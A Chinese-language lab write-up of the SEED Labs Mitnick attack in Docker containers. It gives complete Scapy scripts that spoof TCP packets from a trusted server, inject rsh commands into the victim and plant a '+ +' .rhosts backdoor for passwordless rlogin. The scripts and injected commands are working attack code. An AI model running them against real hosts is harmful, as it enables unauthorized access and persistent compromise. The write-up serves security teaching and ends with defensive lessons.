实验环境
我使用的是 Ubuntu 24.04.4,基本环境配置见ARP攻击原理学习
网络结构如下:
| 节点 |
IP 地址 |
作用 |
| 攻击机 |
10.9.0.1 |
伪造身份并发送攻击报文 |
| X-Terminal |
10.9.0.5 |
受害主机 |
| Trusted Server |
10.9.0.6 |
被受害者信任的服务器 |
启动实验前先停止并清理容器环境,防止被之前的网络配置干扰
1
2
|
sudo docker stop $(sudo docker ps -q) 2>/dev/null
sudo docker system prune -f
|
进入实验目录并启动
1
2
|
cd seed-labs/category-network/Mitnick_Attack/Labsetup
sudo docker compose up -d
|
打开三个终端分别进入对应的容器
攻击者:
1
|
docker exec -it seed-attacker /bin/bash
|
受害者:
1
|
docker exec -it x-terminal-10.9.0.5 /bin/bash
|
受信任服务器:
1
|
docker exec -it trusted-server-10.9.0.6 /bin/bash
|
建立信任关系
Mitnick 攻击的原理就是利用受害者和服务器的信任关系,因此实验开始前必须先进行配置
在受害者容器中切换到seed用户,配置.rhosts文件来信任来自服务器的连接
1
2
3
4
5
|
su seed
cd ~
touch .rhosts
echo 10.9.0.6 > .rhosts
chmod 644 .rhosts
|
.rhosts是声明当前主机信任哪些远程主机的文件,写入10.9.0.6表示信任来自服务器的远程访问请求,切换seed用户是因为这个配置文件是作用于用户的,而之后的实验使用普通用户seed比起root来说更便于观察
在服务器容器中切换到 seed 用户,用 rsh 远程执行命令获取受害者时间,如果返回正确的受害者系统时间而且不需要输入密码,就说明信任关系建立成功
1
2
|
su seed
rsh 10.9.0.5 date
|
阻断真实服务器
攻击的关键是伪造受信任服务器的身份发送伪造SYN包,然后和受害者建立连接。受害者收到包后会向真实服务器回复SYN+ACK,为了防止真实服务器收到包发现不合法,回复RST关闭连接,攻击者需要让真实服务器暂时无法正常回应。一般会使用 SYN 洪泛攻击让服务器瘫痪
为了效果稳定,这个实验用静态 ARP 映射来模拟洪泛攻击效果。在受害者容器把 10.9.0.6 映射到一个不存在的 MAC 地址,让受害者发给服务器的包无法真正到达
输入exit退出seed进入root,然后输入下面的命令修改受害者的arp缓存
1
2
|
arp -s 10.9.0.6 aa:bb:cc:dd:ee:ff
arp -n
|
可以看到修改前受害者可以 ping 通服务器,修改后就全部丢包,之后服务器就无法对实验产生任何干扰了,相当于静默状态
伪造 TCP 连接与 RSH 会话
修改攻击脚本
打开 volumes/spoof_ack_plus_data.py,将注入命令改成创建 /tmp/mitnick 文件:
1
|
data = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'
|
输入 ip addr 确认攻击者容器的网卡名,找到 10.9.0.1 对应的网卡,我这里是叫br-302e4ba285b3
将所有攻击脚本末尾 sniff() 函数中的 iface 改成实际的网卡名,否则脚本正常运行,但实际上抓不到目标的通信流量
执行攻击
在攻击机容器中需要开启三个终端,并行运行三个脚本。攻击流程是发送SYN,回复ACK顺带注入命令,最后回复SYN+ACK用于处理rsh协议的stderr反向连接
终端1运行 spoof_ack_plus_data.py:
1
2
|
cd volumes
python3 spoof_ack_plus_data.py
|
这个脚本抓取受害者返回的 SYN+ACK 包,读取序列号,再伪造 ACK 完成握手。之后伪造一段 rsh 命令让受害者执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
#!/usr/bin/python3
from scapy.all import *
import time
x_ip = "10.9.0.5" # X-Terminal
srv_ip = "10.9.0.6" # The trusted server
x_port = 514 # Port number used by X-Terminal
srv_port = 1023 # Port number used by the trusted server
srv_port2 = 9090
syn_seq = 0x1000 # Initial sequence number
# Spoof the ACK to finish 3-way handshake initiated by the attacker
# After that, spoof a rsh data packet
# We are only allowed to use the sequence number in the captured packet
def spoof(pkt):
old_tcp = pkt[TCP]
if old_tcp.flags == 'SA':
# Spoof ACK to finish the handshake protocol
ip = IP( src = srv_ip,
dst = x_ip)
tcp = TCP(sport = srv_port,
dport = x_port,
seq = syn_seq + 1,
ack = old_tcp.seq + 1,
flags="A")
print(' {}-->{} Spoofing ACK'.format(tcp.sport, tcp.dport))
send(ip/tcp, verbose=0)
# Send rsh command to X-Terminal
tcp.flags="PA"
data = str(srv_port2) + '\x00seed\x00seed\x00touch /tmp/mitnick\x00'
#data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'
print(' Sending data: {}'.format(data))
send(ip/tcp/data, verbose=0)
# Reset the connection after 2 seconds
# This is not necessary. We did this, so we can repeat the attack.
time.sleep(2)
tcp.flags = "R"
tcp.seq = syn_seq + 1 + len(data)
print(' {}-->{} Resetting connection'.format(tcp.sport, tcp.dport))
send(ip/tcp, verbose=0)
f = 'tcp and src host {} and src port {} and dst host {} and dst port {}'
myFilter = f.format(x_ip, x_port, srv_ip, srv_port)
sniff(iface='br-302e4ba285b3', filter=myFilter, prn=spoof)
|
终端2运行 spoof_syn_ack_2nd.py:
1
2
|
cd volumes
python3 spoof_syn_ack_2nd.py
|
脚本1中注入的数据实际上是9090\0seed\0seed\0touch /tmp/mitnick\0,意思是规定stderr错误输出应该发往9090端口,提供用户名与需要执行的命令内容。受害者收到后会发送一个SYN包主动连接9090端口,但服务器目前静默了无法回复,为了完成连接,需要再写一个脚本来处理这个包,代替服务器回复 SYN+ACK
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
#!/usr/bin/python3
from scapy.all import *
x_ip = "10.9.0.5" # X-Terminal
srv_ip = "10.9.0.6" # The trusted server
x_port = 514 # Port number used by X-Terminal
srv_port = 1023 # Port number used by the trusted server
srv_port2 = 9090 # Port number used by the 2nd connection
syn_seq = 0x1000 # Initial sequence number
# Spoof the SYN+ACK to finish the 2nd connection intiated by X-Terminal
# Only allowed to use the sequence number & src port in captured packet
def spoof(pkt):
# Spoof a SYN+ACK reply after receiving a SYN packet
old_tcp = pkt[TCP]
if old_tcp.flags == 'S':
print(' {}-->{} Spoofing SYN+ACK.'.format(old_tcp.dport, old_tcp.sport))
####################################################
ip = IP ( src = srv_ip,
dst = x_ip)
tcp = TCP( sport = srv_port2,
dport = old_tcp.sport,
seq = 2000, # can be any number
ack = old_tcp.seq + 1,
flags="SA") # Set the SYN + ACK bits
####################################################
send(ip/tcp, verbose=0)
f = 'tcp and src host {} and dst port {}'.format(x_ip, srv_port2)
sniff(iface='br-302e4ba285b3', filter=f, prn=spoof)
|
终端3运行 spoof_syn.py:
1
2
|
cd volumes
python3 spoof_syn.py
|
这个脚本向受害者发送一个伪造的 SYN 包,发起 rsh 连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
#!/usr/bin/python3
from scapy.all import *
x_ip = "10.9.0.5" # X-Terminal
srv_ip = "10.9.0.6" # The trusted server
x_port = 514 # Port number used by X-Terminal
srv_port = 1023 # Port number used by the trusted server
port_2nd = 9090 # Port number used by the 2nd connection
syn_seq = 0x1000 # Initial sequence number
# Spoof a SYN from Trusted Server to X-Terminal
ip = IP( src = srv_ip, dst = x_ip)
tcp = TCP( sport = srv_port, dport = x_port,
seq = syn_seq, flags = 'S')
print('Sending SYN...')
send(ip/tcp, verbose=1)
|
按照这个运行顺序是因为spoof_ack_plus_data.py和spoof_syn_ack_2nd.py都是检测到特定包才执行后续内容,而spoof_syn.py执行后就直接发出SYN包。因此先开启前两个脚本的监听,再用第三个发包来防止错过
验证
回到受害者容器中检查 /tmp/mitnick 文件是否生成,这里可以看到文件,说明攻击者成功伪造服务器身份,成功注入命令
设置永久后门
前面的攻击只是创建了一个文件。为了进一步利用受害者,攻击者可以通过注入命令修改 .rhosts 文件来植入永久后门
修改攻击命令
在攻击机中修改 spoof_ack_plus_data.py 的数据部分,将原来的 touch 命令替换为修改 .rhosts 的命令
1
|
data = str(srv_port2) + '\x00seed\x00seed\x00echo + + > .rhosts\x00'
|
+ + 表示信任任意主机上的任意用户。这个配置非常危险,一旦写入成功,攻击者就可以直接登录受害主机
重新进行攻击
重新运行前面的三个攻击脚本
1
2
3
|
python3 spoof_ack_plus_data.py
python3 spoof_syn_ack_2nd.py
python3 spoof_syn.py
|
攻击完成后,回到攻击机容器中切换到 seed 用户,用rlogin远程登录受害者主机
1
2
|
su seed
rlogin 10.9.0.5
|
无需密码就能进入 10.9.0.5 的 Shell,说明后门植入成功
进入后查看 .rhosts 文件,可以看到内容变成+ +,说明攻击者已经获得对受害主机的直接访问权限
Mitnick 攻击利用了早期 TCP 协议缺乏认证的弱点,攻击者只要能伪造状态相符的包,就可能绕过登录认证,可以看出只依赖 IP 地址和信任关系是不安全的。rsh和rlogin目前已经不适合在真实环境使用,一般用 SSH 替代,还要关闭 .rhosts这种静态文件的认证方式
Mitnick 攻击和TCP协议攻击的区别:TCP协议攻击在已有连接中伪造包进行欺骗,而Mitnick 攻击需要在没有连接的情况下伪造服务器连接,并盲猜受害者的TCP序列号从而建立连接